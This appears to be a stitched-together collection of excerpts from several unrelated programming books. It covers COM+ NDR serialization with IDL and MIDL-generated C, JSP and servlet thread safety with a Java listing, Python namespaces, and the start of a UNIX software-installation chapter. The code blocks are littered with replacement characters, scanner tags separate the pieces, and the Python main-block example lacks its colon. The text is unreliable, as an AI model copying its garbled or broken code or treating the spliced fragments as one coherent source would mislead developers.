    As a component technology that offers location transparency, COM+ must tackle the problem of providing platform-dependent method parameter transformations. The technology subset of COM+ that deals with component distribution, DCOM, is based on DCE RPC. This technology in turn is based on DCE Network Data Representation (NDR) for shuttling parameter data among platforms. Whenever any method parameter is marshaled for transmission over the network, proxy and stub make calls to NDR routines to package the parameter value for insertion into and extraction from a data buffer.



    The Platform SDK contains little information about Microsoft's NDR implementation. But Network Data Representation encodes to a binary format that is interchangeable among DCE RPC implementations by different vendors and on different platforms. Short of ordering DCE documentation from the Open Group, this NDR label format description from the RpcNdr.h header file gives us a glimpse of how NDR tags data type formats internally:





    /*********************************************************************

    �����Network�Computing�Architecture�(NCA)�definition:

    �����Network�Data�Representation�(NDR):�Label�format:
    �����An�unsigned�long�(32�bits)�with�the�following�layout:

    �����3�3�2�2�2�2�2�2�2�2�2�2�1�1�1�1�1�1�1�1�1�1
    �����1�0�9�8�7�6�5�4�3�2�1�0�9�8�7�6�5�4�3�2�1�0�9�8�7�6�5�4�3�2�1�0
    ����+---------------+---------------+---------------+-------+-------+
    ����|���Reserved����|���Reserved����|Floating-Point�|�Int���|�Char��|
    ����|���������������|���������������|Representation�|�Rep.��|�Rep.��|
    ����+---------------+---------------+---------------+-------+-------+

    �����Where

    ���������Reserved:

    �������������Must�be�zero�(0)�for�NCA�1.5�and�NCA�2.0.

    ���������Floating-Point�Representation�is:

    �������������0�-�IEEE
    �������������1�-�VAX
    �������������2�-�Cray
    �������������3�-�IBM

    ���������Int�Rep.�is�Integer�Representation:

    �������������0�-�Big�Endian
    �������������1�-�Little�Endian

    ���������Char�Rep.�is�Character�Representation:

    �������������0�-�ASCII
    �������������1�-�EBCDIC

    �����The�Microsoft�Local�Data�Representation�(for�all�platforms�that�are
    �����of�interest�currently)�is�defined�below:

    �**************************************************************************/

    #define�NDR_CHAR_REP_MASK���������������(unsigned�long)0X0000000FL
    #define�NDR_INT_REP_MASK����������������(unsigned�long)0X000000F0L
    #define�NDR_FLOAT_REP_MASK��������������(unsigned�long)0X0000FF00L

    #define�NDR_LITTLE_ENDIAN���������������(unsigned�long)0X00000010L
    #define�NDR_BIG_ENDIAN������������������(unsigned�long)0X00000000L

    #define�NDR_IEEE_FLOAT������������������(unsigned�long)0X00000000L
    #define�NDR_VAX_FLOAT�������������������(unsigned�long)0X00000100L
    #define�NDR_IBM_FLOAT�������������������(unsigned�long)0X00000300L

    #define�NDR_ASCII_CHAR������������������(unsigned�long)0X00000000L
    #define�NDR_EBCDIC_CHAR�����������������(unsigned�long)0X00000001L

    #if�defined(__RPC_MAC__)
    #define�NDR_LOCAL_DATA_REPRESENTATION���(unsigned�long)0X00000000L
    #define�NDR_LOCAL_ENDIAN����������������NDR_BIG_ENDIAN
    #else
    #define�NDR_LOCAL_DATA_REPRESENTATION���(unsigned�long)0X00000010L
    #define�NDR_LOCAL_ENDIAN����������������NDR_LITTLE_ENDIAN
    #endif



    Fortunately, we do not need to understand how NDR is implemented in order to use it. Whenever we use NDR through COM+ interface method calls, the entire mechanism is completely hidden from us. But we would like to add NDR data transformations to our list of persistence solutions, which so far include only manual data transformation, frameworks, and portable formats. NDR data transformation routines could be superior to any of these options in COM+ projects because COM+ objects already rely on NDR for interface method calls. Therefore, we know that NDR can handle the same types that we use in our COM+ objects. The technology mismatch that existed when negotiating type support with third-party solutions vanishes here. In addition, we know that an NDR implementation must be present on all the platforms on which we intend to deploy our COM+ project. Since NDR is an integral part of DCOM, if such an implementation were not available, we couldn't deploy on that platform in the first place.



    To have NDR assist us with the transformation of particular data types as required by the type-stream model, we must somehow get access to NDR functionality that we can inform of the data type to be translated and the data value. Fortunately, such functionality is available at the application level; it is called the NDR serialization services. The technique of using NDR directly to transform data also is called pickling.



    Serialization services do not provide API functions of the form EncodeShortInteger, DecodeShortInteger, EncodeDouble, DecodeDouble, and so on. Instead, two kinds of serialization services exist: procedure serialization and type serialization. The MIDL compiler gives applications access to both when you apply the encode and decode attributes to a procedure or typedef in an application configuration file (ACF). These attributes can be applied to an entire interface instead, in which case MIDL will generate serialization stubs rather than remote RPC stubs for all procedures and types in the interface. Procedure serialization packages a procedure's parameter set in a user-controlled buffer instead of sending it over a remote channel. Type serialization encodes or decodes an individual type to or from a buffer.



    Just as regular remote procedures require binding handles to inform them of the current call context,5 procedure and type serialization functions require a serialization handle to inform them of the serialization context. The implicit_handle and explicit_handle interface attributes control whether serialization functions retrieve this handle from a global variable or whether the MIDL compiler generates an argument in the signatures through which the handle value is passed to them, respectively. In either case, it is your responsibility to initialize the serialization context with one of the MesEncodeXXXHandleCreate or MesDecodeXXXHandleCreate functions before invoking any serialization function.



    Two pieces of information are conveyed to serialization functions through the serialization context: which serialization style should be used for the call, and the address of the buffer into which encoded information should be written or from which information to be decoded should be read.



    There are three serialization styles:




    • Fixed buffer serialization. You supply a buffer large enough to hold the encoded parameters or type. For type serialization, you can use the _AlignSize functions generated by MIDL for each type to be serialized. They determine the space plus alignment padding necessary for each type instance when serializing more than one instance of the same or different types into the same buffer. When decoding, you provide a buffer with the entire set of encoded data necessary to complete at least one decoding call.


    • Dynamic buffer serialization. When encoding, the marshaling buffer is allocated by the serialization function instead of you. Because you pass this entire buffer to the serialization function when decoding, there is no difference between fixed and dynamic serialization for decoding operations.


    • Incremental serialization. Instead of providing a buffer directly, you provide a set of functions through which the serialization routines will manipulate the buffer. When encoding, serialization routines call your allocation and write functions. The allocation function is called whenever the serialization routine requires a certain amount of space to store encoded data. The write function is called to notify you when a certain amount of space in the buffer has been written and can be flushed to whatever medium the application uses. When decoding, serialization routines call your read function to request some number of bytes from the buffer of encoded data. With incremental serialization, you can call more than one serialization function and pass the same serialization handle. The serialization functions make sure that the data is written to properly aligned locations in the buffer.





    To have MIDL generate an encoding and decoding function for each of the types of the type stream interface not handled by CTypeStreamImpl, we define the interface RITransmitTypes in an ACF like this:





    [
    ����explicit_handle,
    ����encode,
    ����decode
    ]
    interface�RITransmitTypes
    {
    }



    In the like-named IDL file, RITransmitTypes appears as follows:





    [
    ����uuid(BC649B32-951B-11d2-A934-945C32000000),
    ����version(1.0)
    ]
    interface�RITransmitTypes
    {
    ����typedef�signed�short����t_Short;
    ����typedef�signed�int������t_Int;
    ����typedef�signed�long�����t_Long;
    ����typedef�signed�hyper����t_Hyper;
    ����typedef�float�����������t_Float;
    ����typedef�double����������t_Double;
    ����typedef�CHAR������������t_Char;
    ����typedef�WCHAR�����������t_WChar;
    ����typedef�OLECHAR���������t_OleChar;
    ����typedef�CURRENCY��������t_Currency;
    ����typedef�DATE������������t_Date;
    ����typedef�VARIANT���������t_Variant;

    ����typedef�struct�SCharArr
    ����{
    ��������ULONG�nSize;
    ��������[size_is(nSize)]�const�CHAR*�pnChars;
    ����}�t_SCharArr;

    ����typedef�struct�SWCharArr
    ����{
    ��������ULONG�nSize;
    ��������[size_is(nSize)]�const�WCHAR*�pnWChars;
    ����}�t_SWCharArr;

    ����typedef�struct�SOleCharArr
    ����{
    ��������ULONG�nSize;
    ��������[size_is(nSize)]�const�OLECHAR*�pnOleChars;
    ����}�t_SOleCharArr;
    }



    The _c.c file MIDL will generate from these definitions contains functions such as these for each RITransmitTypes type:





    size_t
    t_Short_AlignSize(
    ����handle_t�_MidlEsHandle,
    ����t_Short�__RPC_FAR�*�_pType)
    {
    ����return�NdrMesSimpleTypeAlignSize(_MidlEsHandle);
    }

    void
    t_Short_Encode(
    ����handle_t�_MidlEsHandle,
    ����t_Short�__RPC_FAR�*�_pType)
    {
    ����NdrMesSimpleTypeEncode(
    ��������������������������_MidlEsHandle,
    ��������������������������(�PMIDL_STUB_DESC��)&RITransmitTypes_StubDesc,
    ��������������������������_pType,
    ��������������������������2);
    }

    void
    t_Short_Decode(
    ����handle_t�_MidlEsHandle,
    ����t_Short�__RPC_FAR�*�_pType)
    {
    ����NdrMesSimpleTypeDecode(
    ��������������������������_MidlEsHandle,
    ��������������������������_pType,
    ��������������������������6);
    }



    A separate argument, _handle_t, is generated for each function, as we expected. Note that we did not have to request Variant type marshaling support from NDR, since CTypeStreamImpl handles the Variant type. However, as previously mentioned, CTypeStreamImpl's Variant handling is limited to a subset of possible Variant values. By requesting Variant type marshaling directly from NDR, COM+'s custom marshaling routines will be invoked when encoding and decoding the Variant type because the Variant is defined to be wire-marshaled in Oaidl.idl in this fashion:





    typedef�[wire_marshal(wireVARIANT)]�struct�tagVARIANT�VARIANT;

    struct�_wireVARIANT�{
    ����DWORD��clSize;�������/*�wire�buffer�length�in�units�of�hyper�(int64)�*/
    ����DWORD��rpcReserved;��/*�for�future�use�*/
    ����USHORT�vt;
    ����USHORT�wReserved1;
    ����USHORT�wReserved2;
    ����USHORT�wReserved3;
    ����[switch_type(ULONG),�switch_is(vt)]�union�{
    ����[case(VT_I4)]�������LONG����������lVal;������/*�VT_I4����������������*/
    ����[case(VT_UI1)]������BYTE����������bVal;������/*�VT_UI1���������������*/
    ����[case(VT_I2)]�������SHORT���������iVal;������/*�VT_I2����������������*/
    ����[case(VT_R4)]�������FLOAT���������fltVal;����/*�VT_R4����������������*/
    ����[case(VT_R8)]�������DOUBLE��������dblVal;����/*�VT_R8����������������*/
    ����[case(VT_BOOL)]�����VARIANT_BOOL��boolVal;���/*�VT_BOOL��������������*/
    ����[case(VT_ERROR)]����SCODE���������scode;�����/*�VT_ERROR�������������*/
    ����[case(VT_CY)]�������CY������������cyVal;�����/*�VT_CY����������������*/
    ����[case(VT_DATE)]�����DATE����������date;������/*�VT_DATE��������������*/
    ����[case(VT_BSTR)]�����wireBSTR������bstrVal;���/*�VT_BSTR��������������*/
    ����[case(VT_UNKNOWN)]��IUnknown�*����punkVal;���/*�VT_UNKNOWN�����������*/
    ����[case(VT_DISPATCH)]�IDispatch�*���pdispVal;��/*�VT_DISPATCH����������*/
    ����[case(VT_ARRAY)]����wireSAFEARRAY�parray;����/*�VT_ARRAY�������������*/

    ����[case(VT_RECORD,�VT_RECORD|VT_BYREF)]
    ������������������������wireBRECORD���brecVal;���/*�VT_RECORD������������*/

    ����[case(VT_UI1|VT_BYREF)]
    ������������������������BYTE�*��������pbVal;�����/*�VT_BYREF|VT_UI1������*/
    ����[case(VT_I2|VT_BYREF)]
    ������������������������SHORT�*�������piVal;�����/*�VT_BYREF|VT_I2�������*/
    ����[case(VT_I4|VT_BYREF)]
    ������������������������LONG�*��������plVal;�����/*�VT_BYREF|VT_I4�������*/
    ����[case(VT_R4|VT_BYREF)]
    ������������������������FLOAT�*�������pfltVal;���/*�VT_BYREF|VT_R4�������*/
    ����[case(VT_R8|VT_BYREF)]
    ������������������������DOUBLE�*������pdblVal;���/*�VT_BYREF|VT_R8�������*/
    ����[case(VT_BOOL|VT_BYREF)]
    ������������������������VARIANT_BOOL�*pboolVal;��/*�VT_BYREF|VT_BOOL�����*/
    ����[case(VT_ERROR|VT_BYREF)]
    ������������������������SCODE�*�������pscode;����/*�VT_BYREF|VT_ERROR����*/
    ����[case(VT_CY|VT_BYREF)]
    ������������������������CY�*����������pcyVal;����/*�VT_BYREF|VT_CY�������*/
    ����[case(VT_DATE|VT_BYREF)]
    ������������������������DATE�*��������pdate;�����/*�VT_BYREF|VT_DATE�����*/
    ����[case(VT_BSTR|VT_BYREF)]
    ������������������������wireBSTR�*����pbstrVal;��/*�VT_BYREF|VT_BSTR�����*/
    ����[case(VT_UNKNOWN|VT_BYREF)]
    ������������������������IUnknown�**���ppunkVal;��/*�VT_BYREF|VT_UNKNOWN��*/
    ����[case(VT_DISPATCH|VT_BYREF)]
    ������������������������IDispatch�**��ppdispVal;�/*�VT_BYREF|VT_DISPATCH�*/
    ����[case(VT_ARRAY|VT_BYREF)]
    ������������������������wireSAFEARRAY�*pparray;��/*�VT_BYREF|VT_ARRAY����*/
    ����[case(VT_VARIANT|VT_BYREF)]
    ������������������������wireVARIANT�*�pvarVal;���/*�VT_BYREF|VT_VARIANT��*/

    ����[case(VT_I1)]�������CHAR����������cVal;������/*�VT_I1����������������*/
    ����[case(VT_UI2)]������USHORT��������uiVal;�����/*�VT_UI2���������������*/
    ����[case(VT_UI4)]������ULONG���������ulVal;�����/*�VT_UI4���������������*/
    ����[case(VT_INT)]������INT�����������intVal;����/*�VT_INT���������������*/
    ����[case(VT_UINT)]�����UINT����������uintVal;���/*�VT_UINT��������������*/
    ����[case(VT_DECIMAL)]��DECIMAL�������decVal;����/*�VT_DECIMAL�����������*/

    ����[case(VT_BYREF|VT_DECIMAL)]
    ������������������������DECIMAL�*�����pdecVal;���/*�VT_BYREF|VT_DECIMAL��*/
    ����[case(VT_BYREF|VT_I1)]
    ������������������������CHAR�*��������pcVal;�����/*�VT_BYREF|VT_I1�������*/
    ����[case(VT_BYREF|VT_UI2)]
    ������������������������USHORT�*������puiVal;����/*�VT_BYREF|VT_UI2������*/
    ����[case(VT_BYREF|VT_UI4)]
    ������������������������ULONG�*�������pulVal;����/*�VT_BYREF|VT_UI4������*/
    ����[case(VT_BYREF|VT_INT)]
    ������������������������INT�*���������pintVal;���/*�VT_BYREF|VT_INT������*/
    ����[case(VT_BYREF|VT_UINT)]
    ������������������������UINT�*��������puintVal;��/*�VT_BYREF|VT_UINT�����*/
    ����[case(VT_EMPTY)]����;������������������������/*�nothing��������������*/
    ����[case(VT_NULL)]�����;������������������������/*�nothing��������������*/
    ����};
    };



    As you can see, provisions are made to handle the various reference types, as well as a SafeArray.



    Making JSPs and Servlets Thread-Safe



    [ Team LiB ]





    Making JSPs and Servlets Thread-Safe


    One of the key features for high-performance server applications is the heavy use of threads. The Java networking classes do all their data transfer via blocking operations, meaning the executing thread waits until the data has been transferred. Many times, however, the server can be doing other things while waiting for the data to transmit. Most servers generally have one thread per client, with each thread listening for incoming requests. Some servers might also have a pool of threads to execute requests (the reader thread hands the request off to an execution thread and then looks for more incoming requests).


    New I/O

    JDK 1.4 introduced a new IO system called NIO (New I/O), which includes nonblocking IO. With nonblocking IO, you don't have to dedicate a separate thread per connection. For high-volume applications, NIO lets you reduce the number of active threads, conserving precious system resources. Of course, to really take advantage of NIO with JSP and servlets, you need a JSP/servlet container that supports NIO.

    At the time of writing this book, Tomcat 5 does not support NIO, because it works on JDK 1.3. However, more than likely you will see a patch for it in the very near future (maybe even by the time this book is published).



    Almost all JSP and servlet engines are multithreaded, and by default, JavaServer Pages are assumed to be thread-safe. Unless you specify otherwise, multiple threads might be executing a JavaServer Page at the same time. The <%@ page isThreadSafe="false"%> directive tells the JSP engine that a JavaServer Page is not thread-safe. If you expect fairly high volume on your JSP, you should make sure it is thread-safe. Restricting a JSP to a single thread can really slow things down.


    Servlets are also assumed to be multithreaded, but there is no simple directive to mark the servlet as not being thread-safe. Instead, you must declare either the service method or the individual doPost and doGet methods as being synchronized. Marking the whole method as synchronized is a brute-force method, just like marking an entire JSP as non-thread-safe. You are much better off finding the places where threading is a problem and fixing them.


    There are certain things you can look for when searching for areas of your program that might not be thread-safe:


    • Does the JSP access a variable defined with the <%! %> tag?

    • Does the servlet access any member variables?

    • Does the JSP or servlet modify the contents of an object stored in either the session or application (ServletContext) objects?

    • Does the JSP or servlet use any libraries that might not be thread-safe?


    Even if the answer to any of these questions is "yes," you don't necessarily have a threading issue. If you are always reading the value of a member variable, you probably don't have a threading issue. Sometimes you set up some variables during the initialization of a JSP or servlet and then don't change the value during execution. You can safely assume that multiple threads can read the value of the variables without any problems.


    When you store an object in the session or the application object, you need to consider the circumstances in which multiple threads might be using the same data. Because each browser has its own session, the only threading issues for objects stored in the session will occur when the browser requests several JSPs or servlets at once. When you store objects in the application object, consider whether another thread might also be trying to store the same object.


    Often you create an object that is shared across multiple servlets, but you create the object only if there isn't one already stored in the application object. When you discover that you need to create the object, synchronize on the application object and then check again to see whether the object needs to be created. Then, within the synchronized block, create the shared object. Listing 24.2 shows a segment of code that creates a shared object.


    Listing 24.2 Code Fragment to Create a Shared Object



    // Synchronize on the application object
    synchronized(context)
    {
    // See whether the connection pool has already been created.
    IConnectionPool pool = (IConnectionPool) context.getAttribute(
    "connectionPool");

    // If not, the pool must be created.
    if (pool == null)
    {

    // Make sure the database driver is available.
    try {
    Class.forName("org.gjt.mm.mysql.Driver").
    newInstance();
    } catch (Exception exc) {
    getServletContext().log(
    "Error loading JDBC driver", exc);
    }

    // Create the connection pool and store it in the application object.
    pool = new SimpleConnectionPool(
    "jdbc:mysql://localhost/usingjsp",
    "", "");
    context.setAttribute("connectionPool", pool);
    }
    }

    Because the test for the presence of the object is in the same synchronized block as the code that creates the object, you can be sure that only one thread actually creates the object.


    You must also take special care with the objects you store in the application and session objects. If you store objects that aren't thread-safe, you must synchronize any method calls that modify the state of those objects. Most of the objects in the Java API, such as Vector, ResultSet, Connection, and so on, are thread-safe. If you use third-party libraries, consult your documentation to find out whether any objects are known to be unsafe for threading.





      [ Team LiB ]



      Code Blocks and Namespaces




      I l@ve RuBoard









      Code Blocks and Namespaces


      Code blocks are pieces of executable Python code that you can think of as collections of statements. Modules, classes, and functions are all examples.


      Modules may be scripts that execute only once. Since Python is unlike other languages in its lack of a main method, it starts executing code (program text) from the top of the module. To re-execute the module, you have to reload it.


      Modules can contain classes and functions (both code blocks), which may be executed many times. Also, functions can contain classes as well as other functions, and classes can contain methods as well as other classes. Variables defined in a code block are associated with that code block's namespace.



      The Main Block


      Python may not have a main method, but it does have something similar, the main block, which looks like this:



      if __name__ == "__main__"
      #Put main code here

      Modules have a __name__ attribute, which contains the module name (e.g., sys, string, mymodule). The main block is called __main__ and is executed from the command line. Since a module is a code block, anything in it will be executed when it is run from the command line or imported from another module. __name__ thus limits execution to the main module.



      A namespace is a way to organize variables in a large program. It provides separate contexts for individual variables so that two with the same name can be used without one adversely affecting the other. Think of namespaces as directories on your hard drive. If there are two directories, user1 and user2, and both have a file named readme.txt, you can be sure that these are two different files�one you access as \user1\readme and the other as \user2\readme.


      Packages provide namespaces for modules and other packages. Say you create a module called sys but sys is also the name of a standard module. This can cause problems. However, if you put your sys module in a package called mycompany, you can access it via mycompany.sys without interfering with the standard sys module. Packages also provide namespaces for other packages, just as file directories provide namespaces for each other.


      Modules provide namespaces for variables, classes, and functions. You might have a class called stats and download a class from the Web also called stats. You can use both classes in the same program because they're in their own modules�my_module.stats and their_module.stats.


      Similarly, classes provide namespaces for variables and methods. For example, a method called getMean() in a class called stat won't interfere with a function called getMean() in the same module.


      We'll discuss namespaces and variable scope more later. The key point here is that Python allows you a lot of flexibility in program organization. It also gives you more control over how you manipulate and introspect your namespace.








        I l@ve RuBoard



        Chapter 12: Installing Software Can Be Tricky












        Chapter 12: Installing Software Can Be Tricky



        Overview



        In This Chapter




        • Where does software come from (the software stork)?




        • Where to put software




        • Writing shell scripts, or files full of commands




        • Writing aliases for your favorite commands




        • Grabbing software from the Internet




        • Uncompressing, uudecoding, and otherwise fooling with files that contain programs




        If you are a Windows or Macintosh user, you probably are thinking: “I can install new programs. What’s the big deal? I just stick in a disk or a CD- ROM and type INSTALL, right?” No. In UNIX, it’s not that simple, of course. You face issues of paths, permissions, and other technical-type stuff we have been protecting you from.


        On the other hand, we’re not about to train you to be a system programmer. Every user has a few favorite programs, and you wear out your welcome quickly if you go off to your local wizard every time you want to use a new program. Although installing new UNIX programs is much trickier than installing PC or Mac programs, in many cases you can do it yourself.